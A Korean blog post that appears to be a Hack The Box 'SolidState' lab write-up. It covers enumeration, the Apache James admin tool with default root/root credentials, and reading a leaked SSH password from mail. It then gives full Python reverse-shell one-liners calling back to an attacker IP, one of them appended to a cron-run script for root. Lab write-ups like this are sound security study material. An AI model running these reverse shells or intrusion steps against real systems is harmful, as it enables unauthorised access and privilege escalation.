본문 바로가기
워게임/hackthebox

solidstate 롸업 정리

by meanjung 2021. 9. 20.

nmap

 

22번 포트 ssh : id/pw가 있어야 접속할 수 있겠다.

25번 포트 smtp : JAMES smtp? 

80번 포트 : apache http

110번 포트 : pop3

119번 포트 : nntp; 네트워크 뉴스 전송 프로토콜


gobuster

특별한 거 안나온다.


searchsploit james

RCE + 맞는 버전

흠..

 

그대로도 익스해보고 이렇게 리버스 쉘코드 삽입해서도 익스 시도해봄. 그러나 not working...

이 코드를 열어서 보고, 시도하다가 4445 포트가 열려있을 것이라고 추측했고, 다시 nmap -p-를 돌렸다.

 

처음으로 -p-가 제대로 쓰였던 순간

4555 james remote administration tool: 관리자 계정인가보다


35513.py(searchsploit)

 

이 adduser는 리눅스 명령어 adduser가 아니라 telnet으로 pop3 접속했을 때의 명령어라는 것을 나중에,, 알 수 있다. 

이거 때문에 좀 헤맸다. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

payload는 사용자가 로그인하면 실행되는 것으로 보인다. 때문에 먼저 이를 수행하는 방법을 찾아야 한다.

코드를 실행하면(결과적으로는 아무것도 일어나지 않지만) credential이 root/root임을 알 수 있다.


nc 10.10.10.51 4555

nc 10.10.10.51 4555
help
listusers

[*] listusers에 내가 삽질하면서 계속 시도했더니 user가 몇 개 더 추가되어있다. 디폴트는 james, thomas, john, mindy, mailadmin일 것이다.

비밀번호 싹 다 바꿔버리기

관리자(4555포트)로 접속해 메일 사용자의 비밀번호를 다 바꿔버린 것이다.

그럼 메일 클라이언트로 다시 접속해보도록 한다.


telnet 10.10.10.51 110

아까 그 계정들로 하나씩 pop3 접속..

1. mindy

시스템에 액세스하기 위한 ssh credential이다.(mindy / P@55W0rd1!2@) 

처음 로그인한 후 암호를 재설정하라.

현재 액세스가 제한되어 있으므로 supervisor에게 필요한 명령을 경로에 추가해 달라고 요청하라.

 

2. john

 


ssh mindy@10.10.10.51

 

엥 그냥 보인다..

하지만 cat /etc/passwd로 확인해보면 mindy의 shell은 /bin/rbash인 것을 확인할 수 있다.(restricted shell)


권한상승(내 풀이)

다른 풀이들을 보니까, 왜 저렇게 하는지.. 이해가 안갔다. 그래서 내 방식대로 해봤는데 됐다(?)

 

1. ssh mindy@10.10.10.51 -t bash //pseudo-tty 할당을 강제

2. python 있는 것을 확인

3-1. 로컬에서 nc -nlvp 1234 리스닝

3-2. python 리버스 쉘 붙기; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

4. mindy reverse shell 획득

5. 로컬에서 pspy32 가져오기(pspy64 갖다썼더니 안됐다.)

6. ./pspy32

6-1. 결과

7. 보니까 rm -r /tmp/* 에서 오류가 나면 sys.exit()인데 pspy32의 결과에서 rm -r /tmp/*잘 동작하는 것을 확인할 수 있다. 즉, 종료되지 않는다.

8. nc -nlvp 9999

8-2. echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' >> tmp.py

 

9. 루트 쉘 획득


searchsploit 35513.py를 이용한 풀이

payload 부분에 다음과 같이 리버스 쉘을 작성한다.

와중에 당연히 nc로 1234포트 리스닝 중이겠지

 

실행결과는 다음과 같다. 

맨 마지막 줄에 payload will be executed once somebody logs in

파일 이름을 copy.py라고 했다.

앞에서 알아낸 mindy 정보로 ssh 접속

쉘이 따진 것을 볼 수 있다. 권한 상승부터는 내 풀이와 동일하다.


rkhal101님 풀이에서는 파이썬 스크립트에 있는 것을 하나씩 직접 쳐서 풀었다.


https://www.jtsec.es/blog-entry/48/road-to-oscp-hack-the-box-write-up-solidstate

 

jtsec | Blog | Road to OSCP - Hack The Box Write Up - Solidstate

Hack the Box Solidstate. OS: Linux. Difficulty: Medium. Points: 30. Our testers on their way to OSCP certification.

www.jtsec.es

https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation/blob/master/linux-boxes/solidstate-writeup-w-o-metasploit.md

 

GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation

Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.

github.com

 

'워게임 > hackthebox' 카테고리의 다른 글

poison 롸업 정리  (0) 2021.09.22
valentine 롸업 정리  (0) 2021.09.20
nineveh 롸업 정리  (0) 2021.09.15
cronos 롸업 정리  (0) 2021.09.15
friendzone 롸업 정리  (0) 2021.09.11

댓글